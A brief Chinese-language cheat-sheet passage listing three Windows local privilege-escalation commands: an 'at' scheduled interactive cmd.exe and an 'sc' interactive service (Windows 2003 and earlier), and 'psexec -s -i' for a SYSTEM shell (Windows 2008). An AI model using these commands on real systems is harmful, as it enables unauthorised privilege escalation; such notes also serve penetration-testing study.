这三种命令仅适用于本地用户提权

at和sc命令在windows2003及之前的版本可用

at 18:30 /interactive cmd.exe  #设置定时任务启动cmd窗口

sc Create syscmd binPath= "cmd /K start" type= own type= interact  #创建服务对应cmd
sc start syscmd  #启动创建的服务即可启动cmd

ps命令则在windows2008中可用

该命令提权需要配合 pstools 工具使用

psexec.exe -accepteula -s -i -d cmd.exe